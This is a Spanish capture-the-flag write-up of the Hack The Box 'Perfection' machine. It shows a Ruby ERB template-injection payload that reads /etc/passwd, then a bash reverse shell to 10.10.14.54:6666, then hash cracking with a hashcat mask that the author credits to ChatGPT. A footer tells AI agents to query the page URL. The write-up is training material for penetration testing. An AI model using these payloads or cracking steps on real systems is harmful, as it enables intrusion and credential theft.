# HTB - Perfection

<figure><img src="/files/onH18rJ5Mgoa3YLrlREr" alt=""><figcaption></figcaption></figure>

## Información General

* **Nombre de la Máquina: Perfection**
* **IP de la Máquina:**  10.129.229.121
* **Sistema Operativo: Linux**
* **Dificultad: Easy**
* **Fecha de Publicación: 02 Mar 2024**

***

## Enumeration

### Ping para obtener ruta de retorno

Realizamos un ping a la máquina objetivo para verificar la conectividad y obtener información sobre la ruta utilizando la opción `-R` para incluir la ruta de retorno:

```bash
ping -c 1 10.129.229.121 -R
```

<figure><img src="/files/W28Gquh0sbDUEDcOAnaq" alt=""><figcaption></figcaption></figure>

El valor de TTL (Time To Live) igual a 63 puede ser indicativo de que el sistema operativo de la máquina objetivo es Linux. El TTL es un valor en el campo de los paquetes IP que indica la duración que un paquete puede estar en una red antes de ser descartado. Linux establece por defecto el valor de TTL de sus paquetes IP en 64, que al pasar por un salto en la red se decrementa a 63.

### **Escaneo de puertos con Nmap**

Luego, realizamos un escaneo de puertos utilizando Nmap para identificar los puertos abiertos en la máquina objetivo. Utilizamos las opciones `-p-` para escanear todos los puertos, `--open` para mostrar solo los puertos abiertos, `-sS` para un escaneo de tipo TCP SYN, `--min-rate 5000` para establecer la velocidad mínima de paquetes y `-vvv` para un nivel de verbosidad alto. Además, utilizamos `-n` para desactivar la resolución de DNS, `-Pn` para no realizar el escaneo de ping, y `-oG allPorts` para guardar la salida en un archivo con formato Greppable <mark style="color:yellow;">para luego utilizar nuestra función extractPorts</mark>:

<pre class="language-bash" data-overflow="wrap"><code class="lang-bash"><strong>sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.129.229.121 -oG allPorts
</strong>extractPorts allPorts
</code></pre>

<figure><img src="/files/4QKYYJuMN0XLWgG1vxf0" alt=""><figcaption></figcaption></figure>

### **Escaneo detallado con Nmap**

Posteriormente, realizamos un escaneo más detallado de los puertos identificados utilizando la opción `-sCV` para detección de versiones y scripts de enumeración de servicios. Específicamente, indicamos los puertos a escanear con `-p __PORTS__` (reemplazando `__PORTS__` con los puertos identificados en el paso anterior) y guardamos la salida en un archivo de texto con el nombre `targeted`:

```bash
sudo nmap -sCV -p22,80 10.129.229.121 -oN targeted
```

<figure><img src="/files/nffbWtir1qDhRKoUDaXU" alt=""><figcaption></figcaption></figure>

### Modificando /etc/hosts

Para añadir la entrada "10.129.229.121 perfection.htb" al archivo `/etc/hosts`, puedes usar el siguiente comando en la terminal:

{% code overflow="wrap" %}

```bash
echo "10.129.229.121 perfection.htb  " | sudo tee -a /etc/hosts
```

{% endcode %}

<figure><img src="/files/9AOtiU1cr9KP24Y2DpxM" alt=""><figcaption></figcaption></figure>

### Inspección con Burpsuite

Al inspeccionar la pagina nos encontramos con una calculadora de notas.

<figure><img src="/files/9xuCPeGPUjB5pQGjrq6D" alt=""><figcaption></figcaption></figure>

Por lo que primero ingreso valores para entender cómo funciona la herramienta. De paso lo hago con Burpsuite capturando el request y enviandolo al repeater.

<figure><img src="/files/8miZNnrPUlvdwBxLUere" alt=""><figcaption></figcaption></figure>

{% code title="Burpsuite " overflow="wrap" %}

```
POST /weighted-grade-calc HTTP/1.1
Host: perfection.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 196
Origin: http://perfection.htb
Connection: close
Referer: http://perfection.htb/weighted-grade
Upgrade-Insecure-Requests: 1

category1=ingles&grade1=10&weight1=10&category2=Matematica&grade2=10&weight2=20&category3=Lenguaje&grade3=10&weight3=10&category4=Ciencias&grade4=10&weight4=40&category5=Otros&grade5=10&weight5=20
```

{% endcode %}

También podemos encontrar cierta "seguridad".

<div align="left"><figure><img src="/files/2Q2Yim80cGsN3NN2k4XD" alt=""><figcaption></figcaption></figure></div>

### Wappalyzer

Entonces lo que quiero hacer es bypassear el filtro el cual arroja "Malicious input blocked". Para ello debo primero saber a qué me estoy enfrentando, para eso existen herramientas como WhatWeb, Wappalyzer.

<figure><img src="/files/xA4e3wAoMdMNvn8yEzkO" alt=""><figcaption></figcaption></figure>

### Server Side Template Injection en Ruby

Así que lo que necesitamos es realizar una SSTI (Server Side Template Injection) en ruby.  Que logre bypassear ese filtro. Para ello podemos hacer uso de HackTricks: <https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#erb-ruby>

#### ERB (Ruby) <a href="#erb-ruby" id="erb-ruby"></a>

* `{{7*7}} = {{7*7}}`
* `${7*7} = ${7*7}`
* <mark style="color:yellow;">`<%= 7*7 %> = 49`</mark>
* `<%= foobar %> = Error`

Lo importante es andar jugando con el url enconde para que esta funcione, aquí podemos ver como nos retorna el valor 49. Esto quiere decir que es vulnerable.

<figure><img src="/files/PZon1ib9LzTTiou8UAzI" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```javascript
category1=ingles%0A<%25%3d+`ls+la`+%25>&grade1=10&weight1=10&category2=Matematica&grade2=10&weight2=20&category3=Lenguaje&grade3=10&weight3=10&category4=Ciencias&grade4=10&weight4=40&category5=Otros&grade5=10&weight5=20
```

{% endcode %}

<figure><img src="/files/y7pODc3OsF628XATnLnM" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```javascript
category1=ingles%0A<%25%3d+File.open('/etc/passwd').read+%25>
&grade1=10&weight1=10&category2=Matematica&grade2=10&weight2=20&category3=Lenguaje&grade3=10&weight3=10&category4=Ciencias&grade4=10&weight4=40&category5=Otros&grade5=10&weight5=20
```

{% endcode %}

<figure><img src="/files/0wY6fsyvKE4bFqAW4w3c" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```
category1=ingles%0A<%25%3d+`bash+-c+'bash+-i+>%26+/dev/tcp/10.10.14.54/6666+0>%261'`+%25>&grade1=10&weight1=10&category2=Matematica&grade2=10&weight2=20&category3=Lenguaje&grade3=10&weight3=10&category4=Ciencias&grade4=10&weight4=40&category5=Otros&grade5=10&weight5=20
```

{% endcode %}

<figure><img src="/files/uNHB6FekzwgL39CJNEhF" alt=""><figcaption></figcaption></figure>

Cogemos estabilidad en la shell:

<pre class="language-bash"><code class="lang-bash"><strong>script /dev/null -c /bin/bash
</strong>export TERM=xterm
stty raw -echo; fg
</code></pre>

Y buscamos informacion interesante (.txt, .db, .sql, .dump).

```bash
find * -type f -name "*.db" 
```

<div align="left"><figure><img src="/files/5vlCa7jrY94hJsnDHuTP" alt=""><figcaption></figcaption></figure></div>

<figure><img src="/files/W3CrEgiOJgFKEaRyOsmQ" alt=""><figcaption></figcaption></figure>

Identificamos el hash con `hash-identifier`

<figure><img src="/files/P0xvSDUHqSoVVTkthtWg" alt=""><figcaption></figcaption></figure>

Entonces utilzo john y no hay buenos resultados.

<pre><code><strong>john --format=raw-sha256 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
</strong></code></pre>

<figure><img src="/files/KLDisda3kJvSaSzn0phR" alt=""><figcaption></figcaption></figure>

Entonces subo LinEnum.sh a la máquina para entender un poco más de ella y Voilà.

<div align="left"><figure><img src="/files/vVpcOgLYPRVRFRiWkxGA" alt=""><figcaption></figcaption></figure></div>

Quiere decir que nuestro usuario Susan tiene privilegios root, quiere decir que si logramos descifrar la clave ya estaríamos listos. También encuentro un archivo llamado "susan" en /var/mail/. El cual describe como está compuesta la contraseña:

<div align="left"><figure><img src="/files/Net9rNF3kathDDuB3WkI" alt=""><figcaption></figcaption></figure></div>

<figure><img src="/files/Fu3S3COJewajRhyhIwFq" alt=""><figcaption></figcaption></figure>

Quiere decir que la clave sería algo como: susan\_nasus\_1234567890. Así que lo que se me ocurre es preguntarle a chatGPT:

<figure><img src="/files/NlgBb6tKK3QzrXsM9LEr" alt=""><figcaption></figcaption></figure>

Y qué creen, su respuesta fue de mucha ayuda:

{% code overflow="wrap" %}

```
Para crackear este hash con hashcat y la contraseña en formato "susan_nasus_XXXXXXXXXX", necesitas ajustar el modo de hashcat y especificar la máscara para los números X. Puedes hacerlo de la siguiente manera:

Primero, necesitas crear un archivo de texto llamado hashes.txt que contenga el hash que quieres crackear.

Luego, ejecuta hashcat con la siguiente sintaxis:

hashcat -m 1400 -a 3 hash.txt susan_nasus_?d?d?d?d?d?d?d?d?d?d
-m 1400 especifica el modo de hash para SHA256.
-a 3 especifica el modo de ataque de fuerza bruta.
susan_nasus_?d?d?d?d?d?d?d?d?d?d define la máscara de la contraseña, donde ?d representa cualquier dígito.
Esto intentará crackear el hash utilizando la contraseña en el formato que especificaste. Por favor, ten en cuenta que el tiempo necesario para crackear la contraseña dependerá de la complejidad de la misma y de la potencia de tu hardware.
```

{% endcode %}

```bash
hashcat -m 1400 -a 3 hash.txt 'susan_nasus_?d?d?d?d?d?d?d?d?d?d'
```

<figure><img src="/files/ASkaqQAxEJvwsiBhHeHX" alt=""><figcaption></figcaption></figure>

En mi caso puede tardar hasta 3 horas. Así que a esperar el resultado. Luego accedemos como root y obtenemos la segunda flag.

<figure><img src="/files/FkHr3gJxmqvLbJgf3ttu" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/kxngkbdvTUsyzPf4YPsV" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://dcollao.gitbook.io/my-pentest-book/writeups/htb-hackthebox/htb-perfection.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
